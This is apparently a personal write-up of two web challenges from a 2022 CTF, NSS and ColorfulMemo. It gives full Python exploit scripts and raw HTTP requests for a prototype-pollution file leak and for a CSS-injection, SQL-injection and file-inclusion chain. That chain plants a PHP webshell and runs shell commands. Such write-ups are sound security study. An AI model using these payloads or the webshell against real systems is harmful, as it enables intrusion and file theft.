Spring GoN Open Qual CTF 2022 Write Up
2022-03-21 23:29:53

Summary

This time I did participate in CTF because GoN team of Kaist hosted the CTF. I was hacking to dawn after long time and I solved two challenges:ColorfulMemo, NSS.

I gave up that i felt it’s so hard challenge while analysing this challenge called Trino: Albireo.


(Q) - NSS [897 pts]

This is a challenge that leak a local file using Prototype Pollution. Personally, this challenge of Prototype Pollution is best I solved latest.

1
2
3
4
5
6
7
8
9
10
11
12
❯ tree -I "node_modules"
.
├── Dockerfile
├── file.js
├── flag
├── main.js
├── package-lock.json
├── package.json
├── user.js
└── workspace.js

0 directories, 8 files

they provided the code of challenge, but it was a little than thought.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM node:current-alpine3.15

WORKDIR /usr/src/app

COPY package*.json ./

RUN npm install
RUN npm install -g npm@8.5.4

COPY . .

EXPOSE 80

CMD [ "node", "main.js" ]

In docker file, there is no important setting but I could know the location of flag is /usr/src/app/flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const express = require("express");
const bodyParser = require('body-parser');
const app = express();

app.use(bodyParser.json());

app.listen(80, () => console.log("[*] Server Started!"));

app.get("/", (req, res) => {
res.status(204);
});

require('./user.js')(app);
require('./workspace.js')(app);
require('./file.js')(app);

main.js call a total of three Apis:user.js, workspace.js, file.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
const crypto = require('crypto');
const fs = require('fs');
const os = require('os');
const path = require('path');
const appPrefix = 'nss';

users = {};
tokens = {};
salt = crypto.randomBytes(128).toString('base64');

function check_session(userid, token) {
const sess = tokens[token]
if(!sess) return false;
if(sess.owner != userid) return false;
if(sess.expire < Date.now() / 1000){
tokens.delete(token);
return false;
}
else return true;
}

function cleanup_user(user) {
fs.rmSync(user.base_dir, {recursive: true});
};

module.exports = function (app) {
app.get("/api/users", (req, res) => {
res.status(200).json({res: true, users: Object.keys(users)});
});

app.post("/api/users", (req, res) => {
const userid = req.body.userid || "";
const pass = req.body.pass || "";
if(!userid || !pass)
return res.status(400).json({ok: false, err: "Invalid userid or password"});
if(pass.length < 10)
return res.status(400).json({ok: false, err: "Password too short"});
const user = users[userid];
if(user)
return res.status(400).json({ok: false, err: "ID already exists"});

base_dir = ""
try {
base_dir = fs.mkdtempSync(path.join(os.tmpdir(), appPrefix));
}
catch {
return res.status(500).json({ok: false, err: "Internal server error"});
};
if(!base_dir)
return res.status(500).json({ok: false, err: "Internal server error"});


users[userid] = {
userid : userid,
pass : crypto.createHash('sha512').update(pass + salt).digest('hex'),
workspaces : {},
base_dir: base_dir
};
res.json({ok: true});
});

app.delete("/api/users", (req, res) => {
const userid = req.body.userid || "";
const pass = req.body.pass || "";
if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];

cleanup_user(user);
delete user.userid;
return res.status(200).json({ok: true});
});


app.post("/api/users/auth", (req, res) => {
const userid = req.body.userid || "";
const pass = req.body.pass || "";
if(!userid || !pass)
return res.status(400).json({ok: false, err: "Invalid userid or password"});

const user = users[userid];
if(!user)
return res.status(404).json({ok: false, err: "Failed to find user"});

if(user.pass != crypto.createHash('sha512').update(pass + salt).digest('hex'))
return res.status(403).json({ok: false, err: "Incorrect password"});

token = crypto.randomBytes(20).toString('hex');
tokens[token] = {
owner : userid,
expire: 30 * 60 + Date.now() / 1000
};
res.json({ok: true, token: token});
});
}

module.exports.check_session = check_session;
module.exports.users = users;
module.exports.tokens = tokens;

user.js has a function to creating and deleting users and login. If it created user, it put user information into user object. And If login successful, it put user token into tokes object after creating the token using user id. In this point, important point is when it is creating user, it make os.tmpdir()+appPrefix as base_dir. So, default path of user is /tmp*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const fs = require('fs');
const path = require("path");

const user_module = require('./user.js')
const check_session = user_module.check_session;
const users = user_module.users;

function cleanup_workspace(base_dir, workspace){
for (const f_path in Object.values(workspace)) {
fs.rmSync(path.join(base_dir, f_path), {recursive: true});
}
}

module.exports = function (app) {
app.get("/api/users/:userid", (req, res) => {
const id = req.params.userid || "";
const token = req.body.token || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
res.status(200).json({ok: true, workspace: Object.keys(user.workspaces)});
});

app.post("/api/users/:userid", (req, res) => {
const userid = req.params.userid || "";
const token = req.body.token || "";
const ws_name = req.body.ws_name || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

users[userid].workspaces[ws_name] = {};
res.json({ok: true});
});

app.delete("/api/users/:userid", (req, res) => {
const userid = req.params.userid || "";
const token = req.body.token || "";
const ws_name = req.body.ws_name || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

cleanup_workspace(workspace);
delete user.workspace.ws_name;
return res.status(200).json({ok: true});
});
}

module.exports.cleanup_workspace = cleanup_workspace;

workspace.js too is similar with user.js: making, deleting workspace of user. here is no vulnerability too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
const fs = require('fs');
const path = require("path");

const user_module = require('./user.js')
const check_session = user_module.check_session;
const users = user_module.users;

function write_b64_file(f_path, contents) {
try {
if(!fs.existsSync(path.dirname(f_path)))
fs.mkdirSync(path.dirname(f_path), {recursive: true});
fs.writeFileSync(f_path, contents,{encoding: 'base64'});
} catch (e) {
fs.rmSync(f_path, {recursive: true});
return false;
}
return true;
}

function read_b64_file(f_path) {
try{
return fs.readFileSync(f_path, {encoding: 'base64'});
} catch (e) {
return;
}
}

module.exports = function (app) {
app.get("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});

if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

res.status(200).json({ok: true, workspace: Object.keys(workspace)});
});

app.post("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";
const f_name = req.body.file_name || "";
const f_path = req.body.file_path.replace(/\./g,'') || "";
const f_content = req.body.file_content || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid id or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

if(!f_name || !f_path)
return res.status(400).json({ok: false, err: "Invalid file name or path"});

if(!write_b64_file(path.join(user.base_dir, f_path), f_content))
return res.status(500).json({ok: false, err: "Internal server error"});


workspace[f_name] = f_path;
return res.status(200).json({ok: true});
});

app.delete("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";
const f_name = req.body.file_name || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
console.log(workspace)
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

if(!f_name)
return res.status(400).json({ok: false, err: "Invalid file name"});

const f_path = workspace[f_name];
if(!f_path)
return res.status(404).json({ok: false, err: "Failed to find file"});

fs.rmSync(path.join(user.base_dir, f_path), {recursive: true});
delete workspace[f_name];
return res.status(200).json({ok: true});
});

app.get("/api/users/:userid/:ws/:fname", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const f_name = req.params.fname || "";
const token = req.body.token || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

if(!f_name)
return res.status(400).json({ok: false, err: "Invalid file name"});

const f_path = workspace[f_name];

if(!f_path)
return res.status(404).json({ok: false, err: "Failed to find file"});

const content = read_b64_file(path.join(user.base_dir, f_path));
if(typeof content == "undefined")
return res.status(500).json({ok: false, err: "Internal server error"});

res.status(200).json({ok: true, file_content: content});
});
}

file.js is important that solve this challenge. file.js has a function to print the workspace of user and creat, delete a file and read the file it created. But when we see the function of reading the file, it take the value of f_name from workspace object and use it as the path of file. So If we modify the value of f_name to flag path, we can read a flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
app.post("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";
const f_name = req.body.file_name || "";
const f_path = req.body.file_path.replace(/\./g,'') || "";
const f_content = req.body.file_content || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid id or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

if(!f_name || !f_path)
return res.status(400).json({ok: false, err: "Invalid file name or path"});

if(!write_b64_file(path.join(user.base_dir, f_path), f_content))
return res.status(500).json({ok: false, err: "Internal server error"});


workspace[f_name] = f_path;
return res.status(200).json({ok: true});
});

the value of f_path was defined in logic of creating a file. it put the path value into f_name value of workspace. But in the if statement, if workspace of user is not defined, error occurs but we can create it that we request to /api/users/:userid as POST. And even if we created, base_dir is /tmp/* and the value f_path remove . chars using replace() method so we can’t go to up. So we can’t escape from base_dir using this function.

But Prototype Pollution occur when we make or read or delete a file. So I used it. it call several if statement after getting the value of several parameter. Here, important thing is way for calling object of users.

1
2
3
1. const user = users[userid];
2. const workspace = user.workspaces[ws_name];
3. workspace[f_name] = f_path;

Call all object of users as above. But here, we can use prototype pollution because be not checking the value ws_name

1
2
1. const workspace = user.workspaces[__proto__];
2. workspace[f_name] = f_path;

If the value of ws_name is __proto__, in second part workspace will be prototype object because the result value is prototype object. then we can pollute internal property to f_path using the f_name.

1
2
3
4
5
6
7
8
9
10
11
12
13
const users = {}
users['asdf'] = {
userid : 'asdf',
pass : 'asdf',
workspaces : {'asdf':{}},
base_dir: '/tmp/a/nss'
};
user = users['asdf']
const workspace = user.workspaces['__proto__'];
console.log(workspace)
workspace['asdf'] = 'polluted'

console.log(asdf)
1
2
3
❯ node poc.js
[Object: null prototype] {}
polluted

So, Prototype Pollution occur as above.

1
2
3
4
5
6
7
8
9
10
11
POST /api/users/asdf/__proto__ HTTP/1.1
Host: localhost:8888
Content-Length: 97
Content-Type: application/json
Connection: close

{
"token":"b168dbf118c3ee0fe6db7a3d576694b5e11dfae1",
"file_name":"base_dir",
"file_path":"/usr/src/app"
}

After creating a user, if we request as above, we can pollute the value what we want to base_dir.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
app.get("/api/users/:userid/:ws/:fname", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const f_name = req.params.fname || "";
const token = req.body.token || "";

if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid userid or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});

const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});

const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});

if(!f_name)
return res.status(400).json({ok: false, err: "Invalid file name"});

const f_path = workspace[f_name];
console.log(f_path)
if(!f_path)
return res.status(404).json({ok: false, err: "Failed to find file"});

console.log(`user.base_dir : ${user.base_dir}`)
const content = read_b64_file(path.join(user.base_dir, f_path));
if(typeof content == "undefined")
return res.status(500).json({ok: false, err: "Internal server error"});

res.status(200).json({ok: true, file_content: content});
});

From now, we have to make the value of f_path to flag. But this f_path is in the object of workspace and also object workspace is in the object workspaces. Eventually we have to make the object of new user after we make the new token and object of workspace temporarily. So I got the flag after I pollutued the pass, owner, expire, base_dir, flag, workspace.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from itsdangerous import base64_decode
import requests
import json
import string
import random

LENGTH = 4
CHALL_URL = "http://host3.dreamhack.games:19598"
#CHALL_URL = "http://localhost:8888" # Locally
STRING_POOL = string.digits
USERNAME = ""
PASSWORD = "aaaaaaaaaaa"
HEADER = {
"Content-Type":"application/json"
}

for i in range(LENGTH):
USERNAME += random.choice(STRING_POOL)
print(f'[+] USERNAME : {USERNAME}')

# Create the User Object
requests.post(CHALL_URL + '/api/users', headers=HEADER, data=json.dumps({"userid":USERNAME, "pass":PASSWORD}))

# Login
token = requests.post(CHALL_URL + '/api/users/auth', headers=HEADER, data=json.dumps({"userid":USERNAME, "pass":PASSWORD})).json()
TOKEN = token['token']
print(f"[+] Token : {TOKEN}")

# Prototype Pollution * 6
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"pass", "file_path":"pass"}))
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"owner", "file_path":"pass"}))
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"expire", "file_path":"100000000000"}))
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"base_dir", "file_path":"/usr"}))
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"src/app/flag", "file_path":"src/app/flag"}))
requests.post(CHALL_URL + f'/api/users/{USERNAME}/__proto__', headers=HEADER, data=json.dumps({"token":TOKEN, "file_name":"workspaces", "file_path":"asdf"}))

# Leak the flag
LEAK_DATA = requests.get(CHALL_URL + '/api/users/pass/__proto__/src%2fapp%2fflag', headers=HEADER, data=json.dumps({"token":"pass"})).json()

try:
print(f"[+] Leak Data : {base64_decode(LEAK_DATA['file_content'])}")
except:
print(f"[+] Leak Data : {LEAK_DATA}")

I wrote the exploit code as above.

1
2
3
4
❯ python3 nss-poc.py 
[+] USERNAME : 4896
[+] Token : b9ab24d6a79dda202bf365541d67998a2c5bf5ce
[+] Leak Data : b'GoN{4he_be4uty_0f_pr0t0typ3_p011uti0n}\n'
1
FLAG : GoN{4he_be4uty_0f_pr0t0typ3_p011uti0n}

(V) - ColorfulMemo [490 pts]

This is a challenge that triggers RCE via LFI vulnerability after uploading using SQL Injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
FROM mysql:8.0-debian

ENV MYSQL_RANDOM_ROOT_PASSWORD=yes
ENV MYSQL_USER=user
ENV MYSQL_PASSWORD=password
ENV MYSQL_DATABASE=colorfulmemo
ENV TZ=Asia/Seoul
ENV OPENSSL_CONF=/dev/null

RUN sed -i 's/deb.debian.org/mirror.kakao.com/g' /etc/apt/sources.list

RUN apt-get update -y \
&& DEBIAN_FRONTEND=noninteractive \
apt-get install --no-install-recommends -y \
gcc wget bzip2 python3-pip python3-setuptools \
software-properties-common apache2 php php-mysqli \
chrpath libssl-dev libxft-dev \
libfreetype6 libfreetype6-dev \
libfontconfig1 libfontconfig1-dev \
&& rm -rf /var/lib/apt/lists/* /var/www/html/*

COPY ./src/ /var/www/html/
RUN chmod -R 755 /var/www/html

RUN wget -q -O /root/phantomjs-2.1.1-linux-x86_64.tar.bz2 \
https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2 \
&& tar -C /root/ -jxf /root/phantomjs-2.1.1-linux-x86_64.tar.bz2 \
&& cp /root/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /bin/ \
&& rm -rf /root/phantomjs*

RUN pip3 install --no-cache-dir selenium==2.48.0

COPY ./bot.py /bot.py
RUN chmod 755 /bot.py

# Config files
COPY mysql/config/ /etc/mysql/

RUN chown -R www-data:www-data /var/lib/mysql /var/run/mysqld

COPY ./init.sql /docker-entrypoint-initdb.d

EXPOSE 80
EXPOSE 3306

COPY ./run.sh /run.sh
RUN chmod 755 /run.sh

COPY --chown=root:www-data ./flag /flag
RUN chmod 440 /flag && \
mv /flag /flag_$(md5sum /flag | awk '{print $1}')

ENTRYPOINT ["/run.sh"]

In the docker file, I could know that challenge use MySQL and Apache and location of flag is /flag_$(md5sum /flag | awk ‘{print $1}’).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~/Downloads/b05d57b0-db9a-4196-a9c0-8db4c0ff5361/src
❯ tree -I "js|bootstrap"
.
├── check.php
├── header.php
├── include.php
├── index.php
├── list.php
├── main.php
├── read.php
├── submit.php
└── write.php

0 directories, 9 files

Above code is back-end code. There is three vulnerabilities called CSS Injection to SSRF, SQL Injection to File upload, LFI to RCE.

1
2
3
4
5
6
7
<style>
.content{
color:<?php echo $color ?>
}
</style>

<!-- /var/www/html/read.php -->

CSS Injection occurred in read.php. this is important point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$path = $_GET["path"];
if($path == ""){
$path = "main";
}
$path = "./".$path.".php";
?>

<style>
.body {
padding-top:5%;
padding-left:5%;
padding-right:5%;
}
</style>

<!DOCTYPE html>
<html>
<head>
<?php include_once "./include.php"; ?>
</head>
<body>
<?php include_once "./header.php"; ?>
<div class="body">
<?php include_once $path; ?>
</div>
</body>
</html>
<!-- /var/www/html/index.php -->

LFI occurred because it don’t check $path parameter in index.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if($_SERVER["REMOTE_ADDR"] == '127.0.0.1' || $_SERVER["REMOTE_ADDR"] == '::1'){
$id = $_GET['id'];
$mysqli = new mysqli('localhost','user','password','colorfulmemo');
// I believe admin
$result = $mysqli->query('SELECT adminCheck FROM memo WHERE id = '.$id);
if($result){
$row = mysqli_fetch_row($result);
if($row){
if($row[0] != 1){
$stmt = $mysqli->prepare('UPDATE memo SET adminCheck = 1 WHERE id = ?');
$stmt->bind_param('i',$id);
$stmt->execute();
$stmt->close();
}
}
}
}
else{
die("no hack");
}
# /var/www/html/check.php
?>

SQL Injection occurred because it don’t check $id parameter in check.php. But SQL Injection is occuring only locally.

1
2
3
4
5
6
7
8
9
10
from selenium import webdriver
import time
import sys, os

memoid = sys.argv[1]

driver = webdriver.PhantomJS(service_log_path='/dev/null')
driver.implicitly_wait(10)
driver.get("http://localhost/read.php?id=" + memoid)
driver.get("http://localhost/check.php?id=" + memoid)
1
2
3
4
5
6
7
8
9
10
<?php
$id = $_GET['id'];
if(ctype_digit($id)){
exec("python3 /bot.py ".$id);
}
else{
die("no hack");
}
die('<script> location.href="/" </script>');
?>

it calls bot.py in submit.php. we can’t exploit because it don’t check $id parameter using ctype_digit() function. But we can exploit as SSRF using background: url() of CSS. So I just decided to insert an SSRF PoC as color value using post writing function.

1
2
3
4
5
6
7
POST /?path=write HTTP/1.1
Host: host1.dreamhack.games:9111
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Connection: close

memoTitle=asdf&memoColor=aqua}.content{background:%20url('https://google.com')&memoContent=adsf

I inserted an SSRF PoC as above. After this processing, When I go to connect, I could see that it request to check.php well. If we report this post, we can see that it sleep for 5 seconds. (delete photo)

1
2
3
4
5
6
7
8
9
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
secure-file-priv= /tmp/
default_authentication_plugin=mysql_native_password

# Custom config should go here
!includedir /etc/mysql/conf.d/

Now we have to upload the webshell. So I tried to upload the webshell to /var/www/html/cmd.php but it failed. So I read a code that for finding a reason. The reason is that the value of secure-file-priv is /tmp.

1
2
3
4
5
6
7
POST /?path=write HTTP/1.1
Host: host1.dreamhack.games:9111
Content-Length: 220
Content-Type: application/x-www-form-urlencoded
Connection: close

memoTitle=asdf&memoColor=aqua}.content{background:%20url('/check.php?id=99999%20union%20select%20concat(char(60),"?php%20echo%20system($_GET[\'cmd\']);%20?",char(62))%20into%20outfile%20"/tmp/cmd1.php"')&memoContent=adsf

So, as above, I inserted the SQL Injection payload that upload the webshell in the /tmp/cmd1.php path and uploaded the webshell through the report function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string
import random
import re

CHALLURL = "http://host2.dreamhack.games:16301"
LENGTH = 6

string_pool = string.digits
filename = ""

for i in range(LENGTH):
filename += random.choice(string_pool)

FILANAME = filename + '.php'
print(f'[+] FILANAME : {FILANAME}')

MEMODATA = {
'memoTitle':'asdf',
'memoColor':'aqua}.content{background: url(\'/check.php?id=9999999 union select concat(char(60),"?php echo system($_GET[\\\'cmd\\\']); ?",char(62)) into outfile "/tmp/' + FILANAME + '"\')',
'memoContent':'asdf'
}
requests.post(CHALLURL + '/?path=write')
print(f'[+] MEMODATA : {MEMODATA}')

requests.post(CHALLURL + '/?path=write', data=MEMODATA)
POST_COUNT = re.findall('\<th scope\=\"row\"\>[0-9]*\<\/th\>', requests.get(CHALLURL + '/?path=list').text)
REPORT_NUM = POST_COUNT[-1].split('<th scope="row">')[1].split('</th>')[0]

requests.get(CHALLURL + f'/submit.php?id={REPORT_NUM}')
print("\n[+] Enable webshell!!")

while(1):
payload = input("[+] Enter the command : ")
RESULT = requests.get(CHALLURL + f'/?path=../../../../../../tmp/{filename}&cmd={payload}').text.split('<div class="body">')[1].split('</div>')[0].strip()
print(RESULT)

I wrote the exploit code as above

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python3 poc.py
[+] FILANAME : 367455.php
[+] MEMODATA : {'memoTitle': 'asdf', 'memoColor': 'aqua}.content{background: url(\'/check.php?id=9999999 union select concat(char(60),"?php echo system($_GET[\\\'cmd\\\']); ?",char(62)) into outfile "/tmp/367455.php"\')', 'memoContent': 'asdf'}

[+] Enable webshell!!
[+] Enter the command : id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Enter the command : pwd
/var/www/html
/var/www/html
[+] Enter the command : ls / | grep '^flag'
flag_47ef1a0fd43364198f2422159badba75
flag_47ef1a0fd43364198f2422159badba75
[+] Enter the command : cat /flag_47ef1a0fd43364198f2422159badba75
GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5}GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5}
[+] Enter the command :
1
FLAG : GoN{cH41N_0f_W3b_VuLn3r4b1l1t1E5}
Prev
2022-03-21 23:29:53
Next